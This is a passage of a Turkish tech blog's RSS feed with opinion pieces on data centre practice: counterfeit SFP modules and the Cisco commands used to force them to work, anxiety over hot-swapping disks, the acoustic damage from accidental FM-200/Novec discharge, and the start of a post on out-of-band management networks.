<p>Dijital geleceğe yatırım yapmak; tükenmiş bir geçmişin karaborsa emlakçılarına servet ödemek değil, altyapınızı çift yığınlı (Dual-Stack) IPv6 mimarisine cesurca geçirmektir.</p>
<p>Geçmişin daracık sokaklarında birbirinizin ayağına basarak yaşamaktan vazgeçin. Geleceğin sınırsız okyanusu kapıda bekliyor; tek yapmanız gereken, eski alışkanlıkların konforundan vazgeçecek mühendislik cesaretini göstermektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ipv4</category>
            <category>ipv6</category>
            <category>dijital-emlakcilik</category>
            <category>ip-borsasi</category>
            <category>ag-yonetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ip-adres-blogu-ipv4-borsasi-dijital-emlakcilik-ve-kara-borsa/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["SFP Modül" Uyumsuzluğu ve "Çin'den Gelen Klonsuz GBIC" Piyangosu]]></title>
            <link>http://localhost:3000/blog/post/sfp-modul-uyumsuzlugu-ve-cinden-gelen-klonsuz-gbic-piyangosu</link>
            <guid>sfp-modul-uyumsuzlugu-ve-cinden-gelen-klonsuz-gbic-piyangosu</guid>
            <pubDate>Fri, 05 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[On binlerce dolarlık Cisco omurgaları, Çin'den 10 dolara alınan sahte SFP modüller ve "service unsupported-transceiver" komutuyla kurulan saatli bombalar.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sfp-modul-uyumsuzlugu-ve-cinden-gelen-klonsuz-gbic-piyangosu/thumbnail" alt=""> Türkiye'deki bir veri merkezinin veya kurumsal bir holdingin sistem odasındaki ağ kabinini incelediğinizde, satın alma mantığının en tuhaf ve çelişkili tezahürlerinden biriyle karşılaşırsınız:</p>
<p>Kabin içinde parıldayan anahtarlama cihazı (switch) bir <strong>Cisco Nexus 9000</strong> veya <strong>Juniper QFX</strong> serisi omurgadır.</p>
<p>Şirket yönetimi bu cihaza hiç acımadan tam <strong>25.000 Dolar</strong> (yaklaşık 800 bin TL) nakit para ödemiştir. Çünkü yönetim kuruluna sunum yapılırken Cisco markası bir itibar ve güven sembolü olarak satılmıştır.</p>
<p>Fakat aynı cihazın ön panelindeki o küçük metal yuvalara, yani fiber optik kabloları bağlayan 10G/25G SFP+ alıcı-verici (transceiver) modüllerine yakından baktığınızda gözlerinize inanamazsınız:</p>
<p>Orijinal Cisco veya Juniper marka bir SFP+ modülün fiyatı 350-400 Dolardır. Satın alma departmanı bu fiyatı görünce dehşete düşmüş, <em>"Altı üstü iki santimlik metal parçası, buna bu para verilir mi?"</em> diyerek internetteki yerli toptancılardan veya Çin'den gelen kargolardan tanesi <strong>12 Dolara</strong> ne idüğü belirsiz, üzerinde sahte hologramlar olan "muadil / klon" SFP modülleri sipariş etmiştir.</p>
<p>Yirmi beş bin dolarlık bir teknoloji harikası, on iki dolarlık sahte bir Çin modülünün insafına emanet edilmiştir.</p>
<p>Ve o modülü switch'in yuvasına ilk taktığınız anda, Cisco işletim sistemi (NX-OS) doğası gereği feryat eder:</p>
<pre><code class="language-text">%ETHPORT-4-IF_UNSUPPORTED_TRANSCEIVER: Transceiver on interface Ethernet1/1 is not supported
%PM-4-ERR_DISABLE: gbic-invalid error detected on Eth1/1, putting Eth1/1 in err-disable state
</code></pre>
<p>Cihaz bas bas bağırmaktadır: <em>"Bu modül sahte! EEPROM bilgisi standartlara uymuyor, bunu çalıştırırsam sistemin kararlılığını garanti edemem!"</em></p>
<p>Peki sahadaki Türk ağ mühendisi ne yapar? Modülü söküp çöpe mi atar?</p>
<p>Hayır! Terminale geçer, Cisco'nun gizli mühendislik komutlarını yazarak cihazın koruma kalkanlarını acımasızca devre dışı bırakır:</p>
<pre><code class="language-bash">switch(config)# service unsupported-transceiver
switch(config)# no errdisable detect cause gbic-invalid
</code></pre>
<p>Işık yeşile döner. Link "UP" olur. Mühendis arkasına yaslanır: <em>"Gördün mü bak, halloldu. Orijinaline 400 dolar veren ahmaktır, komutla çalıştırdık işte!"</em></p>
<p>Oysa o mühendisin bilmediği şey; şirketin tüm dijital omurgasının tam kalbine, ne zaman patlayacağı kestirilemeyen görünmez bir saatli bomba yerleştirdiğidir.</p>
<h3>100 Bin Dolarlık Proteze Pazardan Alınan Vidayı Takmak</h3>
<p>Bu fantezinin tıp dünyasındaki karşılığı doğrudan bir cinayet davasıdır.</p>
<p>Bir ortopedistin veya kalp-damar cerrahının ameliyata girdiğini düşünün.</p>
<p>Hastanın dizine veya kalbine dünyanın en gelişmiş, İsviçre üretimi titanyum alaşımlı 100 bin dolarlık bir yapay eklem veya mekanik kalp kapakçığı takılıyor.</p>
<p>Tam o protezi kemiğe veya aort damarına sabitleme aşamasına gelindiğinde; hastane satın almasının orijinal cerrahi çelik vidaları çok pahalı bulduğu için sanayideki nalburdan tanesi 50 kuruşa aldığı alelade paslanmaz çelik vidaları cerrahın eline uzattığını hayal edin.</p>
<p>Cerrah <em>"Ne fark eder canım, ikisi de vida işte, tornavidayla sıkınca tutuyor"</em> diyerek o çakma vidayla protezi hastanın kemiğine monte ediyor.</p>
<p>Peki iki ay sonra ne olur?</p>
<p>O ucuz vida vücudun kimyasal ortamında korozyona uğrar, metal yorgunluğundan kırılır. 100 bin dolarlık protez yerinden fırlar, hastanın ana atardamarını parçalar ve hasta iç kanamadan dakikalar içinde can verir.</p>
<p>Milyonluk bir yatırımı 50 kuruşluk sahte bir ara parçayla bağlamak tıp dünyasında nasıl bir delilikse; 25 bin dolarlık omurga cihazını 12 dolarlık sahte SFP ile çalıştırmak da ağ dünyasında aynı derecede vahim bir cinayettir.</p>
<h3>Hayalet Arızalar Mezarlığı: Paket Kayıpları ve Termal Kaçış</h3>
<p>O sahte SFP modül ilk takıldığında çalışıyor gibi görünür; ancak sahte donanımın bedeli kriz anında, en beklenmedik zamanda ödenir:</p>
<ol>
<li><strong>Termal Dengesizlik ve Optik Bozulma:</strong> Orijinal modüller lazer diyotunun gücünü ve sıcaklığını sürekli izleyen dahili bir dijital mikrodenetleyiciye (DOM - Digital Optical Monitoring) sahiptir. 12 dolarlık sahte modüllerde ise bu sensörler ya sahtedir ya da kalibrasyonsuzdur. Trafik yoğunlaştığında modül 70 derecenin üzerine çıkar. Lazerin dalga boyu kayar; ışık gücü (dBm) düşer.</li>
<li><strong>Görünmeyen Paket Kayıpları (CRC / Frame Errors):</strong> Kablo kopmaz, link yeşil yanmaya devam eder; ancak iletilen ağ paketlerinin her yüz tanesinden beşi o optik parazit yüzünden bozulur. Veritabanı senkronizasyonları yavaşlar, video yayınları donar, API çağrıları time-out'a düşer. Ağ mühendisi günlerce sorunun kaynağını arar; yazılımcıyı suçlar, işletim sistemini suçlar, ama o 12 dolarlık modülden asla şüphelenmez.</li>
<li><strong>Switch'in Kontrol Kartını Kilitleyen Hatalar:</strong> Sahte modülün kalitesiz I2C veri yolu (bus), switch'in yönetim işlemcisini (ASIC) meşgul eder. Switch'in işletim sistemi bir gün ansızın kernel panic vererek koca kabini yeniden başlatır.</li>
</ol>
<h3>Donanım Bütünlüğü Bir Zincirdir</h3>
<p>Ağ mühendisliğinde evrensel bir kural vardır: <strong>Bir iletişim hattının güvenilirliği, o hattı oluşturan en zayıf halkanın güvenilirliği kadardır.</strong></p>
<ul>
<li>100 metre boyunca döşediğiniz en pahalı Corning marka zırhlı fiber kablonun,</li>
<li>O kablonun bağlandığı 25 bin dolarlık Cisco çekirdek switch'in,</li>
<li>Ve o switch'in arkasında çalışan milyonluk veritabanı sunucularının hiçbir anlamı kalmaz;</li>
</ul>
<p>Eğer aradaki o 2 santimetrelik optik lazer dönüştürücü, Çin'in merdiven altı bir atölyesinde kalite kontrolünden geçmeden üretilmişse, sisteminiz o atölyenin insafına kalmıştır.</p>
<p>Tasarruf edilecek yer donanımın şah damarı olan fiziksel dönüştürücüler değildir.</p>
<p>Ya bütçenizi cihazın orijinal aksesuarlarına göre planlayın; ya da üreticisi tarafından test edilmiş, programlanabilir, kurumsal seviyede garantili optik altyapılar kullanın.</p>
<p>Çünkü kriz anında <code>service unsupported-transceiver</code> komutu sizi kurtaramaz; geriye sadece ekranda kırmızı yanan o sahte modül ve arkasından gelen milyonluk kesinti faturaları kalır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sfp-modul</category>
            <category>transceiver</category>
            <category>fiber-optik</category>
            <category>cisco-switch</category>
            <category>donanim-uyumsuzlugu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sfp-modul-uyumsuzlugu-ve-cinden-gelen-klonsuz-gbic-piyangosu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Hot-Swappable" (Canlı Değiştirilebilir) Parça Korkusu: Gerçekten Söksem Patlar mı?]]></title>
            <link>http://localhost:3000/blog/post/hot-swappable-canli-degistirilebilir-parca-korkusu-gercekten-soksem-patlar-mi</link>
            <guid>hot-swappable-canli-degistirilebilir-parca-korkusu-gercekten-soksem-patlar-mi</guid>
            <pubDate>Thu, 04 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kataloglarda parlayan "Hot-Swap" vaadi, canlı çalışan veritabanı sunucusunun önünde diskin mandalına dokunurken kalbin durma noktasına geldiği o 3 saniyelik saf adrenalin.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/hot-swappable-canli-degistirilebilir-parca-korkusu-gercekten-soksem-patlar-mi/thumbnail" alt=""> Sunucu üreticilerinin (Dell, HPE, Lenovo, Supermicro) ürün broşürlerine veya kullanım kılavuzlarına baktığınızda, mühendislik dünyasının en büyük konfor vaatlerinden biri gözünüze çarpar:</p>
<p><strong>"Hot-Swappable Components: Disks, Fans, and Redundant Power Supplies can be replaced without shutting down the system."</strong></p>
<p>Yani üretici der ki: <em>"Korkma delikanlı. Sunucunu kapatmana, sistemini kesintiye uğratmana gerek yok. Cihaz canlı yayındayken, saniyede yüz bin istek işlenirken; arızalanan diski, duran fanı veya yanan güç kaynağını mandalından tut, çek çıkar ve yenisini tak. Sistem kılını bile kıpırdatmadan çalışmaya devam edecektir."</em></p>
<p>Bu cümleyi ofiste otururken, kahvenizi yudumlarken okuduğunuzda son derece rasyonel, güven verici ve modern gelir.</p>
<p>Ancak gece saat 02:45'te, bir veri merkezinin o buz gibi soğuk koridorunda, üzerinde ülkenin en büyük bankasının veya e-ticaret devinin canlı veritabanını koşturan çift soketli devasa bir depolama sunucusunun önünde durduğunuzda; işler katalogdaki gibi yürümez.</p>
<p>Sunucunun ön panelinde onlarca yeşil ışık delicesine yanıp sönmektedir. SAS disklerin kafaları saniyede binlerce kez diske vurmakta, metal kasa titreşmektedir. Ve 7 numaralı disk yuvasının üzerinde o meşhur sarı/kehribar arıza ışığı sabit yanmaktadır.</p>
<p>Elinizi o diskin plastik mandalına uzatırsınız.</p>
<p>İşaret parmağınız mandalın mandal tetiğine değer. Ve tam o an, zaman yavaşlar. Kalp atışınız dakikada 140'a fırlar. Parmak uçlarınız buz keser.</p>
<p>Zihninizde o sinsi, dehşet verici sorular yankılanmaya başlar:</p>
<ul>
<li><em>"Ya bu disk aslında arızalı değilse ve ben yanlış diski çekiyorsam?"</em></li>
<li><em>"Ya mandalı çektiğim an oluşan mikro voltaj dalgalanması SAS backplane kartını kısa devre yaptırırsa?"</em></li>
<li><em>"Ya RAID kartı diskin çıktığını algılayamayıp tüm array'i offline'a çekerse?"</em></li>
<li><em>"Ya ben bu diski çektiğim anda tüm sistem aniden karanlığa gömülürse ve şirket batarsa?!"</em></li>
</ul>
<p>İşte "Hot-Swap" teknolojisi, kağıt üzerinde bir mühendislik standardı; sahadaki insan içinse <strong>saf bir soğukkanlılık, cesaret ve adrenalin testidir.</strong></p>
<h3>Çalışan Kalpte Bypass Cerrahisi (Off-Pump CABG)</h3>
<p>Bu yüksek gerilimin tıp dünyasındaki karşılığı, kalp cerrahisinin en üst düzey ve en stresli ameliyatlarından biridir: <strong>Off-Pump (Atan Kalpte) Koroner Arter Bypass Cerrahisi.</strong></p>
<p>Geleneksel açık kalp ameliyatlarında hasta kalp-akciğer pompasına bağlanır; kalbi potasyum solüsyonuyla tamamen durdurulur. Kalp hareketsiz, kan akışı durmuş bir et parçası haline gelir ve cerrah rahatça, sakin kafayla damarları diker.</p>
<p>Ancak bazı yüksek riskli hastalarda (örneğin aortu kireçlenmiş veya akciğeri zayıf yaşlı hastalarda) kalbi durdurmak hastanın bir daha asla uyanamaması demektir.</p>
<p>Bu durumda cerrah ne yapar?</p>
<p><strong>Kalbi hiç durdurmaz!</strong></p>
<p>Kalp dakikada 80 kez kasılmaya, göğüs boşluğunda zıplamaya ve etrafa kan pompalamaya devam ederken; cerrah o atan kalbin üzerine özel ahtapot vantuzlar koyarak damarın sadece 1 santimetrelik bölgesini stabilize eder. Ve o atan, kıpırdayan dokunun üzerine, saç teli inceliğindeki dikişlerle yeni bir koroner damar diker!</p>
<p>O cerrahın ameliyat esnasındaki tansiyonunu ve zihinsel yükünü hayal edin: Tek bir milimetrik titreme, iğnenin aortu yırtması ve hastanın ameliyathanenin tavanına fışkıran kanla 10 saniye içinde kaybedilmesi demektir.</p>
<p>Canlı prod sunucusundan disk çekmek de tam olarak dijital dünyanın "atan kalpte ameliyatıdır."</p>
<p>Sistemin şalterini indirip (down-time alıp) sakin kafayla parça değiştirmek herkesin yapabileceği bir iştir. Gerçek zanaat; sistem tüm hızıyla nefes alıp verirken, tek bir veri paketini yere düşürmeden o organ naklini canlı canlı yapabilmektir.</p>
<h3>O 3 Saniyelik Fiziksel Tereddüt</h3>
<p>O mandalı çekmeden hemen önceki 3 saniye; sahadaki mühendisin tüm mesleki kariyerinin, tecrübesinin ve dikkat düzeyinin gözlerinin önünden bir film şeridi gibi geçtiği andır.</p>
<p>Bir anlık dikkatsizlikle;</p>
<ul>
<li>Slot 0 yerine yanlışlıkla hemen yanındaki Slot 1'in mandalını açarsanız,</li>
<li>Rebuild (yeniden yapılanma) sürecinde olan bir RAID dizisinin sağlam diskini çekerseniz,</li>
<li>O an tüm array çöker ve dakikalar içinde terabaytlarca veritabanı uçup gider.</li>
</ul>
<p>Bu yüzden saha mühendisliği literatüründe yazılı olmayan ama kanla yazılmış altın bir kural vardır: <strong>"Read Twice, Confirm Thrice, Pull Once" (İki kez oku, üç kez doğrula, bir kez çek!).</strong></p>
<ol>
<li>iDRAC/iLO yönetim arayüzünü açın.</li>
<li>Arızalı diskin fiziksel yuva numarasını (Slot ID) ve seri numarasının son 4 hanesini teyit edin.</li>
<li>Yönetim panelinden "Blink / Identify" komutunu vererek arızalı diskin LED ışığını mavi renkte delice yanıp söndürün.</li>
<li>Gözlerinizle o mavi yanan ledi bulun. Seri numarasını kasadaki etiketle karşılaştırın.</li>
<li>Ve derin bir nefes alıp; mandalı tek bir kararlı, pürüzsüz ve tereddütsüz hareketle kendinize doğru çekin.</li>
</ol>
<h3>Çıt Sesi ve Gelen O Büyük Rahatlama</h3>
<p>Mandal açılır. SAS konnektörünün dişleri yuvadan ayrılır. Diskin motorunun devri kademeli olarak düşer (spin down).</p>
<p>Ve arka planda sunucunun diğer diskleri delice çalışmaya devam eder. Terminale bakarsınız:</p>
<pre><code class="language-text">Disk 0:1:7 removed. RAID array degraded, operating normally.
</code></pre>
<p>O an; omuzlarınızdaki tonlarca yükün bir anda kalktığını, ciğerlerinize tekrar oksijen dolduğunu hissedersiniz. O 3 saniyelik korku filmi bitmiş; yerini modern mühendisliğin o kusursuz mimarisine duyulan derin bir hayranlığa bırakmıştır.</p>
<p>Yeni diski kızağa yerleştirirsiniz, yuvaya itersiniz. Mandalı kilitlersiniz. Bir saniye sonra yeni diskin yeşil ışığı yanıp sönmeye başlar: <strong>Rebuilding %0...</strong></p>
<h3>Korku Değil, Saygı</h3>
<p>Hot-swap parçalardan korkmak bir zayıflık değildir; aksine, çalışan bir sisteme ve taşınan veriye duyulan derin bir <strong>mühendislik saygısıdır.</strong></p>
<p>Asıl tehlikeli olan; o mandalları hiçbir kontrol yapmadan, sanki evdeki oyun konsolunun kolunu çıkarıyormuş gibi fütursuzca çeken cahil cesaretidir. Çünkü o cesaret, er ya da geç bir şirketin tüm kurumsal hafızasını toprağa gömer.</p>
<p>Korkunuzu kaybetmeyin; o korku sizin en büyük güvenlik kalkanınızdır.</p>
<p>Ancak o korkunun sizi felç etmesine de izin vermeyin. Prosedürleri harfiyen uygulayın, seri numaralarını üç kez okuyun ve o mandalı çekerken zanaatınıza güvenin.</p>
<p>Çünkü atan bir kalbin üzerinde damar dikebilenler, ancak krizlerin ortasında dimdik ayakta kalabilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>hot-swap</category>
            <category>donanim-degisimi</category>
            <category>saha-psikolojisi</category>
            <category>sunucu-bakimi</category>
            <category>adrenalin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/hot-swappable-canli-degistirilebilir-parca-korkusu-gercekten-soksem-patlar-mi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yangın Söndürme Sistemi (FM200 / Novec) Yanlışlıkla Tetiklenirse: Kabin Odasındaki Kıyamet]]></title>
            <link>http://localhost:3000/blog/post/yangin-sondurme-sistemi-fm200--novec-yanlislikla-tetiklenirse-kabin-odasindaki-kiyamet</link>
            <guid>yangin-sondurme-sistemi-fm200--novec-yanlislikla-tetiklenirse-kabin-odasindaki-kiyamet</guid>
            <pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Veri merkezlerini korumak için tasarlanan gazlı yangın söndürme sistemlerinin sensör hatası veya dikkatsizlikle devreye girmesi; akustik şok dalgalarının mekanik diskleri felç etmesi ve sahte alarmın fiziksel yıkımı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yangin-sondurme-sistemi-fm200--novec-yanlislikla-tetiklenirse-kabin-odasindaki-kiyamet/thumbnail" alt=""> Acil serviste stajyerlik günlerimin en derin hafıza izlerinden biri, monitorizasyon kablosu gevşediği için aniden ekranı kaplayan düz çizgi ("asistoli") ve ardından kopan o mekanik çığlıktı. Odaya fırlayan ekibin elinde defibrilatör kaşıkları, cebinde kırılmış adrenalin ampulüyle hastanın üzerine atıldığı o iki saniyelik dehşet anında; yatakta yatan teyzenin şaşkınlıkla gözlerini açıp "Evladım kolumdaki bant kaşındı da çıkardım, ne bağırıyorsunuz?" dediği sahneyi hiç unutmam. Sistem, hastayı korumak ve kalbi durduğunda personeli ayağa kaldırmak üzere tasarlanmıştı; ancak yanlış alarmın ürettiği panik, hastanın neredeyse korkudan kalbini durduracak bir kinetik kaosa dönüşmüştü.</p>
<p>İşte modern bir Tier-3 veri merkezinde gazlı yangın söndürme sisteminin —ister FM-200 (HFC-227ea) olsun, ister Novec 1230— yanlışlıkla devreye girmesi, o hastane odasındaki panikten yüz kat daha yıkıcı, yüz kat daha gürültülü ve donanım açısından tam anlamıyla ölümcül bir kabustur.</p>
<p>Çünkü veri merkezlerinde yangın söndürme sistemleri, sunucuları korumak için oradadır; fakat tek bir yanlış tetikleme anında, o sistemin kendisi sunucuların celladına dönüşür.</p>
<hr>
<h3>Geri Sayımın Başladığı O Otuz Saniye</h3>
<p>Bir veri merkezi beyaz odasında (white space) sessizlik aslında hiçbir zaman mutlak değildir; binlerce sunucu fanının çıkardığı homojen, boğuk bir jet motoru uğultusu vardır. Ancak bu uğultuyu bıçak gibi kesen bir şey duyarsanız —o iki tonlu, kulak zarını delen mekanik tahliye sireni ve tavan köşelerinde yanıp sönen flaşörler— omuriliğinize anında saf bir hayatta kalma refleksi pompalanır.</p>
<p>Sistem iki kademeli doğrulamayla (cross-zone smoke detection) çalışır. Tavan panellerindeki optik duman dedektörleri ve hava kanallarından sürekli numune çeken VESDA (Very Early Smoke Detection Apparatus) lazer tüpleri aynı anda partikül yakaladığında kontrol paneli kararını verir: <em>Yangın var.</em></p>
<p>Eğer bu partikül gerçek bir alevden değil de, asma tavan üstünde fiber çeken taşeron teknisyenin matkapla deldiği alçıpan tozundan, ya da klima bakımında kullanılan kimyasal spreyin buharından kaynaklanıyorsa; önünüzde odadan çıkmak veya kapı kenarındaki sarı renkli mekanik "Abort" (durdurma) butonuna basmak için tamı tamına <strong>30 saniyeniz</strong> vardır.</p>
<p>Sahada o butona yetişemediğiniz an, fizik kuralları devreye girer.</p>
<hr>
<h3>Akustik Kıyamet: Gaz Değil, Ses Öldürür</h3>
<p>Genel kanı, gazlı söndürme sistemlerinin odadaki oksijeni emerek donanımı boğduğu yönündedir; oysa modern temiz gazlar (Clean Agents) zincirleme kimyasal reaksiyonu termal düzeyde kırarak alevi söndürür, ortamdaki insanı doğrudan boğmaz. Asıl felaket, gazın kendisi değil, tüplerden çıkış şeklidir.</p>
<p>Duvar kenarında dizili devasa çelik tüplerde 25 ile 42 bar (yaklaşık 360-600 PSI) basınç altında sıvılaştırılmış halde bekleyen tonlarca gaz, patlayıcı bir selenoid valf ile serbest bırakılır. Gaz, tavan dağıtım borularından odanın nozullarına (discharge nozzles) hücum eder ve saniyeler içinde gaz fazına geçerek odaya püskürür.</p>
<p>Bu püskürme anında çıkan ses, fırlatılan bir roketin kalkış gürültüsüne eşdeğerdir: <strong>130 desibelin üzerinde.</strong></p>
<p>İşte bu ses, kabinlerin içinde dönen kurumsal mekanik diskler (HDD) için doğrudan bir ölüm fermanıdır:</p>
<ol>
<li><strong>Rezonans ve Titreşim:</strong> Mekanik disklerin içindeki okuma-yazma kafaları (read/write head), dönen manyetik disk plakasının sadece birkaç nanometre üzerinde manyetik hava yastığı sayesinde adeta süzülür. İnsan saç telinin binde biri kadar bir mesafedir bu.</li>
<li><strong>Akustik Şokun Kafayı Vurması (Head Crash):</strong> Nozuldan 130 desibel basınçla fışkıran ses dalgaları, disklerin metal kasasını titretir. Bu rezonans frekansı, kafanın mikroskobik dengesini bozar. Kafa plakaya çarpar (head crash), manyetik yüzeyi çizer veya kontrol çipi sarsıntı yüzünden kafayı acil iniş yuvasına (park zone) çeker.</li>
<li><strong>Toplu I/O Çöküşü:</strong> Birkaç saniye içinde odadaki tüm storage üniteleri, SAN cihazları ve yedekleme sunucularındaki binlerce SAS/SATA disk aynı anda I/O hatası vermeye başlar. RAID dizileri birbiri ardına düşer, veritabanları "corrupt" olur, işletim sistemleri read-only moda kilitlenir.</li>
</ol>
<p>Yıllar önce Avrupa'daki devasa bir finans merkezinde yaşanan gaz boşalması vakasında, hiçbir alev veya ısı olmamasına rağmen, sadece nozul gürültüsünün yarattığı akustik şok yüzünden odadaki disklerin yüzde kırkının fiziksel olarak kullanılamaz hale geldiği kayıtlara geçmiştir. Yangından korunsun diye trilyonlarca lira yatırılan veri, söndürücünün sesiyle paramparça olmuştur.</p>
<hr>
<h3>Pozitif Basınç ve Kilitlenen Kapılar</h3>
<p>Felaket bununla da sınırlı kalmaz. Tonlarca sıvılaştırılmış gazın on saniye içinde gaz haline geçip odaya yayılması, odanın içinde muazzam bir pozitif hava basıncı yaratır.</p>
<p>Eğer veri merkezinin dış cepheye veya koridora bakan duvarlarında bu aşırı basıncı tahliye edecek mekanik panjurlar (pressure relief dampers) yoksa veya kirden/bakımsızlıktan sıkışmışsa, o basınç odanın zayıf noktalarını aramaya başlar:</p>
<ul>
<li>Yükseltilmiş taban karoları yerinden fırlayıp havaya uçar.</li>
<li>Asma tavan panelleri kabinlerin üzerine çöker.</li>
<li>Ve en kötüsü: İçe doğru açılan çelik yangın kapıları, içerideki basınç yüzünden öyle bir gerilir ki, dışarıdan asılsanız da içeriden itseniz de açamazsınız. İçeride kalan personel, kulak zarlarını patlatan o sis bulutunun içinde basınç dengelenene kadar kilitli kalır.</li>
</ul>
<hr>
<h3>İki Gramlık İhmalin Trilyonluk Faturası</h3>
<p>Bir veri merkezinde yangın söndürme tüplerini yeniden doldurmak (refill) basit bir yangın tüpü doldurmaya benzemez. Sertifikalı Novec veya FM-200 gazının tekrar tedarik edilmesi, tüplerin tartılması, boru hatlarının test edilmesi ve sistemin yeniden devreye alınması haftalar sürer ve tek başına yüz binlerce dolarlık bir fatura çıkarır.</p>
<p>Bunun üzerine devre dışı kalan depolama ünitelerini, veri tabanı onarımlarını ve müşterilere ödenen SLA cezalarını eklediğinizde; felaketin faturası akıl almaz boyutlara ulaşır.</p>
<p>Peki bu felaketler neden olur?<br>
Yüzde doksanı "insan faktörü" ve "ihmal" yüzündendir:</p>
<ul>
<li>Kabin odasında spiral taşla kablo kanalı kesen taşeronun duman sistemini izole etmemesi,</li>
<li>Bakım moduna (Maintenance / Disarmed mode) alınmadan dedektörlerin yanında temizlik yapılması,</li>
<li>Eski ve kalibrasyonu yapılmamış dedektörlerin toz birikintisini duman zannetmesi.</li>
</ul>
<hr>
<h3>Sistem Güvenliğinin Çift Taraflı Kılıcı</h3>
<p>Mühendislikte her güvenlik önlemi, içinde kendi felaket potansiyelini barındırır. Uçaklardaki acil çıkış kaydıraklarından, nükleer santrallerin kontrol çubuklarına kadar; "en kötü senaryoyu engellemek" için kurulan agresif sistemler, yanlış çalıştıklarında senaryonun kendisinden daha büyük bir enkaz bırakabilirler.</p>
<p>Acil serviste asistoli alarmını duyduğunuzda yapacağınız ilk iş panikle elektroşoku basmak değil; bir saniye durup hastanın nabzına ve kablonun ucuna bakmaktır.</p>
<p>Veri merkezinde de aynı kural geçerlidir: Söndürme sisteminizin nozullarına susturucu (acoustic silencer nozzle) takmıyorsanız, VESDA sensörlerinizin bakım protokollerini günlük ibadet gibi işletmiyorsanız ve odada yapılacak en ufak bir matkap işinde sistemi "Manuel/Abort" moduna alacak disipline sahip değilseniz; yangından değil, yangın alarmınızdan korkun.</p>
<p>Çünkü duman sunucuyu belki yavaş yavaş ısıtır; ama otuz saniyelik bir sahte alarm, tüm veri dünyanızı tek bir nefeste yutabilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>FM-200</category>
            <category>Novec 1230</category>
            <category>Donanım</category>
            <category>Disaster Recovery</category>
            <category>Altyapı Güvenliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yangin-sondurme-sistemi-fm200--novec-yanlislikla-tetiklenirse-kabin-odasindaki-kiyamet/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Out-of-Band" (OOB) Yönetim Ağının Kendi İçinde Çökmesi: Cankurtaran Filikasının Batışı]]></title>
            <link>http://localhost:3000/blog/post/out-of-band-oob-yonetim-aginin-kendi-icinde-cokmesi-cankurtaran-filikasinin-batisi</link>
            <guid>out-of-band-oob-yonetim-aginin-kendi-icinde-cokmesi-cankurtaran-filikasinin-batisi</guid>
            <pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Esas prodüksiyon ağı çöktüğünde sunucuları kurtarmak için tasarlanan iDRAC, iLO ve konsol ağlarının, tam kriz anında ulaşılamaz hale gelmesi: İkincil sistemlerin ihmal edilen ölümcül mimari açıkları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/out-of-band-oob-yonetim-aginin-kendi-icinde-cokmesi-cankurtaran-filikasinin-batisi/thumbnail" alt=""> 112 acil sağlık hizmetlerinde ve afet yönetiminde herkesin ezbere bildiği katı bir kural vardır: Afet anında cep telefonlarına güvenemezsiniz. Depremde baz istasyonları kilitlenir, kulelerin jeneratörleri susar, şebeke aşırı yükten nefessiz kalır. Bu yüzden acil servislerin ve ambulansların omurgası "telsiz" ağıdır (VHF/UHF röle sistemleri). Teoride mükemmel bir senaryodur bu; GSM ölür, telsiz yaşatır.</p>
<p>Fakat gerçek hayatta sahaya çıktığınızda acı bir manzarayla karşılaşırsınız: Yıllarca kimsenin dokunmadığı el telsizlerinin nikel-kadmiyum bataryaları kimyasal olarak ölmüştür, dağ başındaki telsiz rölesinin aküleri altı aydır kontrol edilmemiştir ve en kritik kriz anında mandalı sıktığınızda hoparlörden sadece hışırtı yükselir. Kurtarıcı olarak köşede beklettiğiniz o "yedek can damarı", günlük hayatta test edilip beslenmediği için tam da ona muhtaç olduğunuz saniyede kucağınızda can verir.</p>
<p>Sistem mühendisliğinde ve veri merkezi operasyonlarında bu durumun birebir kopyası olan bir kavram vardır: <strong>Out-of-Band (OOB) Yönetim Ağı.</strong></p>
<p>Bir mühendis için dünyadaki en çaresiz an; prodüksiyon ağı yerle bir olduğunda, sunucuların iDRAC veya iLO konsollarına erişmek için açtığı OOB VPN tünelinin sonsuz bir "Connection Timed Out" hatasıyla yüzüne kapanmasıdır.</p>
<hr>
<h3>Cankurtaran Filikası Mimarisi</h3>
<p>Normal şartlar altında bir sunucunun iki temel ağ dünyası vardır:</p>
<ol>
<li><strong>In-Band (Prodüksiyon Ağı):</strong> Müşteri trafiğinin aktığı, 10G/25G/100G fiber arayüzlerin çalıştığı, BGP anonslarının yapıldığı, Kubernetes pod'larının haberleştiği otoyol.</li>
<li><strong>Out-of-Band (Yönetim Ağı):</strong> İşletim sisteminden tamamen bağımsız, anakart üzerindeki özel bir mikrodenetleyici (Dell iDRAC, HP iLO, Supermicro IPMI) ile çalışan; sunucu kapalıyken bile elektriği varsa çalışan, BIOS ayarlarını değiştirebilen, sanal medya takabilen ve cihazı uzaktan yeniden başlatabilen arka kapı.</li>
</ol>
